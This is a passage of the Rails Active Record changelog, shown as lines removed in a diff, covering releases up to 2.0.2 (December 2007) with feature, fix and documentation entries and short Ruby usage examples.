-* Optimise the BigDecimal conversion code. #11110 [adymo]
-
-* Introduce the :readonly option to all associations. Records from the association cannot be saved. #11084 [Emilio Tagua]
-
-* Multiparameter attributes for time columns fail over to DateTime when out of range of Time [Geoff Buesing]
-
-* Base#instantiate_time_object uses Time.zone.local() [Geoff Buesing]
-
-* Add timezone-aware attribute readers and writers. #10982 [Geoff Buesing]
-
-* Instantiating time objects in multiparameter attributes uses Time.zone if available. #10982 [Rick Olson]
-
-* Add note about how ActiveRecord::Observer classes are initialized in a Rails app. #10980 [Xavier Noria]
-
-* MySQL: omit text/blob defaults from the schema instead of using an empty string. #10963 [mdeiters]
-
-* belongs_to supports :dependent => :destroy and :delete. #10592 [Jonathan Viney]
-
-* Introduce preload query strategy for eager :includes. #9640 [Frederick Cheung, Aliaksey Kandratsenka, codafoo]
-
-* Support aggregations in finder conditions. #10572 [Ryan Kinderman]
-
-* Organize and clean up the Active Record test suite. #10742 [John Barnette]
-
-* Ensure that modifying has_and_belongs_to_many actions clear the query cache. Closes #10840 [john.andrews]
-
-* Fix issue where Table#references doesn't pass a :null option to a *_type attribute for polymorphic associations. Closes #10753 [railsjitsu]
-
-* Fixtures: removed support for the ancient pre-YAML file format. #10736 [John Barnette]
-
-* More thoroughly quote table names. #10698 [dimdenis, lotswholetime, Jeremy Kemper]
-
-* update_all ignores scoped :order and :limit, so post.comments.update_all doesn't try to include the comment order in the update statement. #10686 [Brendan Ribera]
-
-* Added ActiveRecord::Base.cache_key to make it easier to cache Active Records in combination with the new ActiveSupport::Cache::* libraries [David Heinemeier Hansson]
-
-* Make sure CSV fixtures are compatible with ruby 1.9's new csv implementation. [JEG2]
-
-* Added by parameter to increment, decrement, and their bang varieties so you can do player1.increment!(:points, 5) #10542 [Sam]
-
-* Optimize ActiveRecord::Base#exists? to use #select_all instead of #find. Closes #10605 [jamesh, Frederick Cheung, protocool]
-
-* Don't unnecessarily load has_many associations in after_update callbacks. Closes #6822 [stopdropandrew, canadaduane]
-
-* Eager belongs_to :include infers the foreign key from the association name rather than the class name. #10517 [Jonathan Viney]
-
-* SQLite: fix rename_ and remove_column for columns with unique indexes. #10576 [Brandon Keepers]
-
-* Ruby 1.9 compatibility. #10655 [Jeremy Kemper, Dirkjan Bussink]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Ensure optimistic locking handles nil #lock_version values properly. Closes #10510 [Rick Olson]
-
-* Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases. Closes #10379 [brynary]
-
-* Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases). Closes #10474 [Josh Susser]
-
-* Ensure that the :uniq option for has_many :through associations retains the order. #10463 [remvee]
-
-* Base.exists? doesn't rescue exceptions to avoid hiding SQL errors. #10458 [Michael Klishin]
-
-* Documentation: Active Record exceptions, destroy_all and delete_all. #10444, #10447 [Michael Klishin]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Removed query cache rescue as it could cause code to be run twice (closes #10408) [David Heinemeier Hansson]
-
-
-*2.0.0* (December 6th, 2007)
-
-* Anchor DateTimeTest to fixed DateTime instead of a variable value based on Time.now#advance#to_datetime, so that this test passes on 64-bit platforms running Ruby 1.8.6+ [Geoff Buesing]
-
-* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) [David Heinemeier Hansson]
-
-* Fixed that the truncation of strings longer than 50 chars should use inspect
-so newlines etc are escaped #10385 [Norbert Crombach]
-
-* Fixed that habtm associations should be able to set :select as part of their definition and have that honored [David Heinemeier Hansson]
-
-* Document how the :include option can be used in Calculations::calculate. Closes #7446 [adamwiggins, ultimoamore]
-
-* Fix typo in documentation for polymorphic associations w/STI. Closes #7461 [johnjosephbachir]
-
-* Reveal that the type option in migrations can be any supported column type for your database but also include caveat about agnosticism. Closes #7531 [adamwiggins, mikong]
-
-* More complete documentation for find_by_sql. Closes #7912 [fearoffish]
-
-* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [David Heinemeier Hansson]. Example:
-
- render :partial => @client.becomes(Company) # renders companies/company instead of clients/client
-
-* Fixed that to_xml should not automatically pass :procs to associations included with :include #10162 [Cheah Chu Yeow]
-
-* Fix documentation typo introduced in [8250]. Closes #10339 [Henrik N]
-
-* Foxy fixtures: support single-table inheritance. #10234 [tom]
-
-* Foxy fixtures: allow mixed usage to make migration easier and more attractive. #10004 [lotswholetime]
-
-* Make the record_timestamps class-inheritable so it can be set per model. #10004 [tmacedo]
-
-* Allow validates_acceptance_of to use a real attribute instead of only virtual (so you can record that the acceptance occured) #7457 [ambethia]
-
-* DateTimes use Ruby's default calendar reform setting. #10201 [Geoff Buesing]
-
-* Dynamic finders on association collections respect association :order and :limit. #10211, #10227 [Patrick Joyce, Rick Olson, Jack Danger Canty]
-
-* Add 'foxy' support for fixtures of polymorphic associations. #10183 [John Barnette, David Lowenfels]
-
-* validates_inclusion_of and validates_exclusion_of allow formatted :message strings. #8132 [devrieda, Mike Naberezny]
-
-* attr_readonly behaves well with optimistic locking. #10188 [Nick Bugajski]
-
-* Base#to_xml supports the nil="true" attribute like Hash#to_xml. #8268 [Jonathan del Strother]
-
-* Change plings to the more conventional quotes in the documentation. Closes #10104 [Jack Danger Canty]
-
-* Fix HasManyThrough Association so it uses :conditions on the HasMany Association. Closes #9729 [Jack Danger Canty]
-
-* Ensure that column names are quoted. Closes #10134 [wesley.moxam]
-
-* Smattering of grammatical fixes to documentation. Closes #10083 [Bob Silva]
-
-* Enhance explanation with more examples for attr_accessible macro. Closes #8095 [fearoffish, Marcel Molina Jr.]
-
-* Update association/method mapping table to refected latest collection methods for has_many :through. Closes #8772 [Pratik Naik]
-
-* Explain semantics of having several different AR instances in a transaction block. Closes #9036 [jacobat, Marcel Molina Jr.]
-
-* Update Schema documentation to use updated sexy migration notation. Closes #10086 [Sam Granieri]
-
-* Make fixtures work with the new test subclasses. [Tarmo Tänav, Michael Koziarski]
-
-* Introduce finder :joins with associations. Same :include syntax but with inner rather than outer joins. #10012 [RubyRedRick]
- # Find users with an avatar
- User.find(:all, :joins => :avatar)
-
- # Find posts with a high-rated comment.
- Post.find(:all, :joins => :comments, :conditions => 'comments.rating > 3')
-
-* Associations: speedup duplicate record check. #10011 [Pratik Naik]
-
-* Make sure that << works on has_many associations on unsaved records. Closes #9989 [Josh Susser]
-
-* Allow association redefinition in subclasses. #9346 [wildchild]
-
-* Fix has_many :through delete with custom foreign keys. #6466 [naffis]
-
-* Foxy fixtures, from rathole (http://svn.geeksomnia.com/rathole/trunk/README)
- - stable, autogenerated IDs
- - specify associations (belongs_to, has_one, has_many) by label, not ID
- - specify HABTM associations as inline lists
- - autofill timestamp columns
- - support YAML defaults
- - fixture label interpolation
- Enabled for fixtures that correspond to a model class and don't specify a primary key value. #9981 [John Barnette]
-
-* Add docs explaining how to protect all attributes using attr_accessible with no arguments. Closes #9631 [boone, rmm5t]
-
-* Update add_index documentation to use new options api. Closes #9787 [Kamal Fariz Mahyuddin]
-
-* Allow find on a has_many association defined with :finder_sql to accept id arguments as strings like regular find does. Closes #9916 [krishna]
-
-* Use VALID_FIND_OPTIONS when resolving :find scoping rather than hard coding the list of valid find options. Closes #9443 [sur]
-
-* Limited eager loading no longer ignores scoped :order. Closes #9561 [Jack Danger Canty, Josh Peek]
-
-* Assigning an instance of a foreign class to a composed_of aggregate calls an optional conversion block. Refactor and simplify composed_of implementation. #6322 [brandon, Chris Cruft]
-
-* Assigning nil to a composed_of aggregate also sets its immediate value to nil. #9843 [Chris Cruft]
-
-* Ensure that mysql quotes table names with database names correctly. Closes #9911 [crayz]
-
- "foo.bar" => "`foo`.`bar`"
-
-* Complete the assimilation of Sexy Migrations from ErrFree [Chris Wanstrath, PJ Hyett]
- http://errtheblog.com/post/2381
-
-* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }. #9733 [Jack Danger Canty]
-
-* Fix regression where the association would not construct new finder SQL on save causing bogus queries for "WHERE owner_id = NULL" even after owner was saved. #8713 [Bryan Helmkamp]
-
-* Refactor association create and build so before & after callbacks behave consistently. #8854 [Pratik Naik, mortent]
-
-* Quote table names. Defaults to column quoting. #4593 [Justin Lynn, gwcoffey, eadz, Dmitry V. Sabanin, Jeremy Kemper]
-
-* Alias association #build to #new so it behaves predictably. #8787 [Pratik Naik]
-
-* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations. Closes #9835 [saimonmoore, Rick Olson]
-
-* Observers can observe model names as symbols properly now. Closes #9869 [queso]
-
-* find_and_(initialize|create)_by methods can now properly initialize protected attributes [Tobias Lütke]
-
-* belongs_to infers the foreign key from the association name instead of from the class name. [Jeremy Kemper]
-
-* PostgreSQL: support multiline default values. #7533 [Carl Lerche, aguynamedryan, Rein Henrichs, Tarmo Tänav]
-
-* MySQL: fix change_column on not-null columns that don't accept dfeault values of ''. #6663 [Jonathan Viney, Tarmo Tänav]
-
-* validates_uniqueness_of behaves well with abstract superclasses and
-single-table inheritance. #3833, #9886 [Gabriel Gironda, rramdas, François Beausoleil, Josh Peek, Tarmo Tänav, pat]
-
-* Warn about protected attribute assigments in development and test environments when mass-assigning to an attr_protected attribute. #9802 [Henrik N]
-
-* Speedup database date/time parsing. [Jeremy Kemper, Tarmo Tänav]
-
-* Fix calling .clear on a has_many :dependent=>:delete_all association. [Tarmo Tänav]
-
-* Allow change_column to set NOT NULL in the PostgreSQL adapter [Tarmo Tänav]
-
-* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. [Rick Olson]
-
-* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module. [Rick Olson]
-
-* Try loading activerecord-<adaptername>-adapter gem before trying a plain require so you can use custom gems for the bundled adapters. Also stops gems from requiring an adapter from an old Active Record gem. [Jeremy Kemper, Derrick Spell]
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.14.2 - 1.15.3]
-
-* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 [Dan Manges]
-
- class Comment < ActiveRecord::Base
- # Automatically sets Article#comments_count as readonly.
- belongs_to :article, :counter_cache => :comments_count
- end
-
- class Article < ActiveRecord::Base
- attr_readonly :approved_comments_count
- end
-
-* Make size for has_many :through use counter cache if it exists. Closes #9734 [Xavier Shay]
-
-* Remove DB2 adapter since IBM chooses to maintain their own adapter instead. [Jeremy Kemper]
-
-* Extract Oracle, SQLServer, and Sybase adapters into gems. [Jeremy Kemper]
-
-* Added fixture caching that'll speed up a normal fixture-powered test suite between 50% and 100% #9682 [Frederick Cheung]
-
-* Correctly quote id list for limited eager loading. #7482 [tmacedo]
-
-* Fixed that using version-targetted migrates would fail on loggers other than the default one #7430 [valeksenko]
-
-* Fixed rename_column for SQLite when using symbols for the column names #8616 [drodriguez]
-
-* Added the possibility of using symbols in addition to concrete classes with ActiveRecord::Observer#observe. #3998 [Robby Russell, Tarmo Tänav]
-
-* Added ActiveRecord::Base#to_json/from_json [David Heinemeier Hansson, Cheah Chu Yeow]
-
-* Added ActiveRecord::Base#from_xml [David Heinemeier Hansson]. Example:
-
- xml = "<person><name>David</name></person>"
- Person.new.from_xml(xml).name # => "David"
-
-* Define dynamic finders as real methods after first usage. [bscofield]
-
-* Deprecation: remove deprecated threaded_connections methods. Use allow_concurrency instead. [Jeremy Kemper]
-
-* Associations macros accept extension blocks alongside modules. #9346 [Josh Peek]
-
-* Speed up and simplify query caching. [Jeremy Kemper]
-
-* connection.select_rows 'sql' returns an array (rows) of arrays (field values). #2329 [Michael Schuerig]
-
-* Eager loading respects explicit :joins. #9496 [dasil003]
-
-* Extract Firebird, FrontBase, and OpenBase adapters into gems. #9508, #9509, #9510 [Jeremy Kemper]
-
-* RubyGem database adapters: expects a gem named activerecord-<database>-adapter with active_record/connection_adapters/<database>_adapter.rb in its load path. [Jeremy Kemper]
-
-* Fixed that altering join tables in migrations would fail w/ sqlite3 #7453 [TimoMihaljov/brandon]
-
-* Fix association writer with :dependent => :nullify. #7314 [Jonathan Viney]
-
-* OpenBase: update for new lib and latest Rails. Support migrations. #8748 [dcsesq]
-
-* Moved acts_as_tree into a plugin of the same name on the official Rails svn. #9514 [Pratik Naik]
-
-* Moved acts_as_nested_set into a plugin of the same name on the official Rails svn. #9516 [Josh Peek]
-
-* Moved acts_as_list into a plugin of the same name on the official Rails svn. [Josh Peek]
-
-* Explicitly require active_record/query_cache before using it. [Jeremy Kemper]
-
-* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record. [Rick Olson, marclove]
-
-* Performance: absorb instantiate and initialize_with_callbacks into the Base methods. [Jeremy Kemper]
-
-* Fixed that eager loading queries and with_scope should respect the :group option [David Heinemeier Hansson]
-
-* Improve performance and functionality of the postgresql adapter. Closes #8049 [roderickvd]
-
- For more information see: http://dev.rubyonrails.org/ticket/8049
-
-* Don't clobber includes passed to has_many.count [Jack Danger Canty]
-
-* Make sure has_many uses :include when counting [Jack Danger Canty]
-
-* Change the implementation of ActiveRecord's attribute reader and writer methods [Michael Koziarski]
- - Generate Reader and Writer methods which cache attribute values in hashes. This is to avoid repeatedly parsing the same date or integer columns.
- - Change exception raised when users use find with :select then try to access a skipped column. Plugins could override missing_attribute() to lazily load the columns.
- - Move method definition to the class, instead of the instance
- - Always generate the readers, writers and predicate methods.
-
-* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes. [Rick Olson]
-
-# Ensure that has_many :through associations use a count query instead of loading the target when #size is called. Closes #8800 [Pratik Naik]
-
-* Added :unless clause to validations #8003 [monki]. Example:
-
- def using_open_id?
- !identity_url.blank?
- end
-
- validates_presence_of :identity_url, :if => using_open_id?
- validates_presence_of :username, :unless => using_open_id?
- validates_presence_of :password, :unless => using_open_id?
-
-* Fix #count on a has_many :through association so that it recognizes the :uniq option. Closes #8801 [Pratik Naik]
-
-* Fix and properly document/test count(column_name) usage. Closes #8999 [Pratik Naik]
-
-* Remove deprecated count(conditions=nil, joins=nil) usage. Closes #8993 [Pratik Naik]
-
-* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name. Closes #8992 [Josh Susser]
-
- OLD
- belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is user_id
-
- NEW
- belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is visitor_id
-
-* Remove spurious tests from deprecated_associations_test, most of these aren't deprecated, and are duplicated in associations_test. Closes #8987 [Pratik Naik]
-
-* Make create! on a has_many :through association return the association object. Not the collection. Closes #8786 [Pratik Naik]
-
-* Move from select * to select tablename.* to avoid clobbering IDs. Closes #8889 [dasil003]
-
-* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, [Manfred Stienstra, jwilger]
-
-* Define collection singular ids method for has_many :through associations. #8763 [Pratik Naik]
-
-* Array attribute conditions work with proxied association collections. #8318 [Kamal Fariz Mahyuddin, theamazingrando]
-
-* Fix polymorphic has_one associations declared in an abstract class. #8638 [Pratik Naik, Dax Huiberts]
-
-* Fixed validates_associated should not stop on the first error. #4276 [mrj, Manfred Stienstra, Josh Peek]
-
-* Rollback if commit raises an exception. #8642 [kik, Jeremy Kemper]
-
-* Update tests' use of fixtures for the new collections api. #8726 [Kamal Fariz Mahyuddin]
-
-* Save associated records only if the association is already loaded. #8713 [Blaine]
-
-* MySQL: fix show_variable. #8448 [matt, Jeremy Kemper]
-
-* Fixtures: correctly delete and insert fixtures in a single transaction. #8553 [Michael Schuerig]
-
-* Fixtures: people(:technomancy, :josh) returns both fixtures. #7880 [technomancy, Josh Peek]
-
-* Calculations support non-numeric foreign keys. #8154 [Kamal Fariz Mahyuddin]
-
-* with_scope is protected. #8524 [Josh Peek]
-
-* Quickref for association methods. #7723 [marclove, Mindsweeper]
-
-* Calculations: return nil average instead of 0 when there are no rows to average. #8298 [davidw]
-
-* acts_as_nested_set: direct_children is sorted correctly. #4761 [Josh Peek, rails@33lc0.net]
-
-* Raise an exception if both attr_protected and attr_accessible are declared. #8507 [stellsmi]
-
-* SQLite, MySQL, PostgreSQL, Oracle: quote column names in column migration SQL statements. #8466 [marclove, lorenjohnson]
-
-* Allow nil serialized attributes with a set class constraint. #7293 [sandofsky]
-
-* Oracle: support binary fixtures. #7987 [Michael Schoen]
-
-* Fixtures: pull fixture insertion into the database adapters. #7987 [Michael Schoen]
-
-* Announce migration versions as they're performed. [Jeremy Kemper]
-
-* find gracefully copes with blank :conditions. #7599 [Dan Manges, johnnyb]
-
-* validates_numericality_of takes :greater_than, :greater_than_or_equal_to, :equal_to, :less_than, :less_than_or_equal_to, :odd, and :even options. #3952 [Bob Silva, Dan Kubb, Josh Peek]
-
-* MySQL: create_database takes :charset and :collation options. Charset defaults to utf8. #8448 [matt]
-
-* Find with a list of ids supports limit/offset. #8437 [hrudududu]
-
-* Optimistic locking: revert the lock version when an update fails. #7840 [plang]
-
-* Migrations: add_column supports custom column types. #7742 [jsgarvin, Theory]
-
-* Load database adapters on demand. Eliminates config.connection_adapters and RAILS_CONNECTION_ADAPTERS. Add your lib directory to the $LOAD_PATH and put your custom adapter in lib/active_record/connection_adapters/adaptername_adapter.rb. This way you can provide custom adapters as plugins or gems without modifying Rails. [Jeremy Kemper]
-
-* Ensure that associations with :dependent => :delete_all respect :conditions option. Closes #8034 [Jack Danger Canty, Josh Peek, Rick Olson]
-
-* belongs_to assignment creates a new proxy rather than modifying its target in-place. #8412 [mmangino@elevatedrails.com]
-
-* Fix column type detection while loading fixtures. Closes #7987 [roderickvd]
-
-* Document deep eager includes. #6267 [Josh Susser, Dan Manges]
-
-* Document warning that associations names shouldn't be reserved words. #4378 [murphy@cYcnus.de, Josh Susser]
-
-* Sanitize Base#inspect. #8392, #8623 [Nik Wakelin, jnoon]
-
-* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback. [Michael Koziarski]
-
-* Oracle: extract column length for CHAR also. #7866 [ymendel]
-
-* Document :allow_nil option for validates_acceptance_of since it defaults to true. [tzaharia]
-
-* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. [Jack Danger Canty]
-
-* Add documentation caveat about when to use count_by_sql. [fearoffish]
-
-* Enhance documentation for increment_counter and decrement_counter. [fearoffish]
-
-* Provide brief introduction to what optimistic locking is. [fearoffish]
-
-* Add documentation for :encoding option to mysql adapter. [marclove]
-
-* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [David Heinemeier Hansson]. Example:
-
- create_table "products" do |t|
- t.column "shop_id", :integer
- t.column "creator_id", :integer
- t.column "name", :string, :default => "Untitled"
- t.column "value", :string, :default => "Untitled"
- t.column "created_at", :datetime
- t.column "updated_at", :datetime
- end
-
- ...can now be written as:
-
- create_table :products do |t|
- t.integer :shop_id, :creator_id
- t.string :name, :value, :default => "Untitled"
- t.timestamps
- end
-
-* Use association name for the wrapper element when using .to_xml. Previous behavior lead to non-deterministic situations with STI and polymorphic associations. [Michael Koziarski, jstrachan]
-
-* Improve performance of calling .create on has_many :through associations. [evan]
-
-* Improved cloning performance by relying less on exception raising #8159 [Blaine]
-
-* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> [David Heinemeier Hansson]
-
-* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls [David Heinemeier Hansson]
-
-* Small additions and fixes for ActiveRecord documentation. Closes #7342 [Jeremy McAnally]
-
-* Add helpful debugging info to the ActiveRecord::StatementInvalid exception in ActiveRecord::ConnectionAdapters::SqliteAdapter#table_structure. Closes #7925. [court3nay]
-
-* SQLite: binary escaping works with $KCODE='u'. #7862 [tsuka]
-
-* Base#to_xml supports serialized attributes. #7502 [jonathan]
-
-* Base.update_all :order and :limit options. Useful for MySQL updates that must be ordered to avoid violating unique constraints. [Jeremy Kemper]
-
-* Remove deprecated object transactions. People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions. Closes #5637 [Michael Koziarski, Jeremy Kemper]
-
-* PostgreSQL: remove DateTime -> Time downcast. Warning: do not enable translate_results for the C bindings if you have timestamps outside Time's domain. [Jeremy Kemper]
-
-* find_or_create_by_* takes a hash so you can create with more attributes than are in the method name. For example, Person.find_or_create_by_name(:name => 'Henry', :comments => 'Hi new user!') is equivalent to Person.find_by_name('Henry') || Person.create(:name => 'Henry', :comments => 'Hi new user!'). #7368 [Josh Susser]
-
-* Make sure with_scope takes both :select and :joins into account when setting :readonly. Allows you to save records you retrieve using method_missing on a has_many :through associations. [Michael Koziarski]
-
-* Allow a polymorphic :source for has_many :through associations. Closes #7143 [protocool]
-
-* Consistent public/protected/private visibility for chained methods. #7813 [Dan Manges]
-
-* Oracle: fix quoted primary keys and datetime overflow. #7798 [Michael Schoen]
-
-* Consistently quote primary key column names. #7763 [toolmantim]
-
-* Fixtures: fix YAML ordered map support. #2665 [Manuel Holtgrewe, nfbuckley]
-
-* DateTimes assume the default timezone. #7764 [Geoff Buesing]
-
-* Sybase: hide timestamp columns since they're inherently read-only. #7716 [Mike Joyce]
-
-* Oracle: overflow Time to DateTime. #7718 [Michael Schoen]
-
-* PostgreSQL: don't use async_exec and async_query with postgres-pr. #7727, #7762 [flowdelic, toolmantim]
-
-* Fix has_many :through << with custom foreign keys. #6466, #7153 [naffis, Rich Collins]
-
-* Test DateTime native type in migrations, including an edge case with dates
-during calendar reform. #7649, #7724 [fedot, Geoff Buesing]
-
-* SQLServer: correctly schema-dump tables with no indexes or descending indexes. #7333, #7703 [Jakob Skjerning, Tom Ward]
-
-* SQLServer: recognize real column type as Ruby float. #7057 [sethladd, Tom Ward]
-
-* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 [Manfred Stienstra]
-
-* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [David Heinemeier Hansson]. Example:
-
- transaction do |transaction|
- david.withdrawal(100)
- mary.deposit(100)
- transaction.rollback! # rolls back the transaction that was otherwise going to be successful
- end
-
-* Made increment_counter/decrement_counter play nicely with optimistic locking, and added a more general update_counters method [Jamis Buck]
-
-* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however [Tobias Lütke]
- Task.cache { Task.find(1); Task.find(1) } # => 1 query
-
-* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
-
-* Oracle: fix lob and text default handling. #7344 [gfriedrich, Michael Schoen]
-
-* SQLServer: don't choke on strings containing 'null'. #7083 [Jakob Skjerning]
-
-* MySQL: blob and text columns may not have defaults in 5.x. Update fixtures schema for strict mode. #6695 [Dan Kubb]
-
-* update_all can take a Hash argument. sanitize_sql splits into two methods for conditions and assignment since NULL values and delimiters are handled differently. #6583, #7365 [sandofsky, Assaf]
-
-* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id. #6778 [Jonathan Viney, timc]
-
-* Use Date#to_s(:db) for quoted dates. #7411 [Michael Schoen]
-
-* Don't create instance writer methods for class attributes. Closes #7401 [Rick Olson]
-
-* Docs: validations examples. #7343 [zackchandler]
-
-* Add missing tests ensuring callbacks work with class inheritance. Closes #7339 [sandofsky]
-
-* Fixtures use the table name and connection from set_fixture_class. #7330 [Anthony Eden]
-
-* Remove useless code in #attribute_present? since 0 != blank?. Closes #7249 [Josh Susser]
-
-* Fix minor doc typos. Closes #7157 [Josh Susser]
-
-* Fix incorrect usage of #classify when creating the eager loading join statement. Closes #7044 [Josh Susser]
-
-* SQLServer: quote table name in indexes query. #2928 [keithm@infused.org]
-
-* Subclasses of an abstract class work with single-table inheritance. #5704, #7284 [BertG, nick+rails@ag.arizona.edu]
-
-* Make sure sqlite3 driver closes open connections on disconnect [Rob Rasmussen]
-
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name. #7072 [Jeremy McAnally]
-
-* change_column accepts :default => nil. Skip column options for primary keys. #6956, #7048 [Dan Manges, Jeremy Kemper]
-
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information. #3987, #6664 [Jonathan Viney, Manfred Stienstra, altano@bigfoot.com]
-
-* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default. #7000 [Michael Schoen]
-
-* MySQL: retain SSL settings on reconnect. #6976 [randyv2]
-
-* Apply scoping during initialize instead of create. Fixes setting of foreign key when using find_or_initialize_by with scoping. [Cody Fauser]
-
-* SQLServer: handle [quoted] table names. #6635 [rrich]
-
-* acts_as_nested_set works with single-table inheritance. #6030 [Josh Susser]
-
-* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order. #4668, #7021 [eventualbuddha, Michael Schoen]
-
-* Pass a range in :conditions to use the SQL BETWEEN operator. #6974 [Dan Manges]
- Student.find(:all, :conditions => { :grade => 9..12 })
-
-* Fix the Oracle adapter for serialized attributes stored in CLOBs. Closes #6825 [mschoen, tdfowler]
-
-* [DOCS] Apply more documentation for ActiveRecord Reflection. Closes #4055 [Robby Russell]
-
-* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 [Caio Chassot]
-
-* Bring the sybase adapter up to scratch for 1.2 release. [jsheets]
-
-* Rollback new_record? and id when an exception is raised in a save callback. #6910 [Ben Curren, outerim]
-
-* Pushing a record on an association collection doesn't unnecessarily load all the associated records. [Obie Fernandez, Jeremy Kemper]
-
-* Oracle: fix connection reset failure. #6846 [leonlleslie]
-
-* Subclass instantiation doesn't try to explicitly require the corresponding subclass. #6840 [leei, Jeremy Kemper]
-
-* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
-
-* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 [Alexander Dymo, Tobias Lütke]
-
-* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using. #6764 [vitaly, Jeremy Kemper]
-
-* Add AssociationCollection#create! to be consistent with AssociationCollection#create when dealing with a foreign key that is a protected attribute [Cody Fauser]
-
-* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form [David Heinemeier Hansson]
-
-* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 [Zach Dennis]
-
-* Quote ActiveSupport::Multibyte::Chars. #6653 [Julian Tarkhanov]
-
-* Simplify query_attribute by typecasting the attribute value and checking whether it's nil, false, zero or blank. #6659 [Jonathan Viney]
-
-* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string. #5716 [Andreas Schwarz]
-
-* Run validations in the order they were declared. #6657 [obrie]
-
-* MySQL: detect when a NOT NULL column without a default value is misreported as default ''. Can't detect for string, text, and binary columns since '' is a legitimate default. #6156 [simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper]
-
-* Simplify association proxy implementation by factoring construct_scope out of method_missing. #6643 [martin]
-
-* Oracle: automatically detect the primary key. #6594 [vesaria, Michael Schoen]
-
-* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml. #6607 [philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen]
-
-* Don't inspect unloaded associations. #2905 [lmarlow]
-
-* SQLite: use AUTOINCREMENT primary key in >= 3.1.0. #6588, #6616 [careo, lukfugl]
-
-* Cache inheritance_column. #6592 [Stefan Kaes]
-
-* Firebird: decimal/numeric support. #6408 [macrnic]
-
-* make add_order a tad faster. #6567 [Stefan Kaes]
-
-* Find with :include respects scoped :order. #5850
-
-* Support nil and Array in :conditions => { attr => value } hashes. #6548 [Assaf, Jeremy Kemper]
- find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
-
-* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column. #6495 [Si]
-
-* SQLite: fix calculations workaround, remove count(distinct) query rewrite, cleanup test connection scripts. [Jeremy Kemper]
-
-* SQLite: count(distinct) queries supported in >= 3.2.6. #6544 [Bob Silva]
-
-* Dynamically generate reader methods for serialized attributes. #6362 [Stefan Kaes]
-
-* Deprecation: object transactions warning. [Jeremy Kemper]
-
-* has_one :dependent => :nullify ignores nil associates. #4848, #6528 [bellis@deepthought.org, janovetz, Jeremy Kemper]
-
-* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters. #6515 [Michael Schoen]
-
-* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 [obrie]
-
-* Document other options available to migration's add_column. #6419 [grg]
-
-* MySQL: all_hashes compatibility with old MysqlRes class. #6429, #6601 [Jeremy Kemper]
-
-* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
-
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick Olson]
-
-* Restore eager condition interpolation, document it's differences [Rick Olson]
-
-* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started. #6282 [Jacob Fugal, Jeremy Kemper]
-
-* Add #delete support to has_many :through associations. Closes #6049 [Martin Landers]
-
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql. Closes #5851 [Rick Olson]
-
-* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip@turnipspatch.com]
-
-* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 [wreese@gmail.com]
-
-* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
-
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [Bob Silva]
-
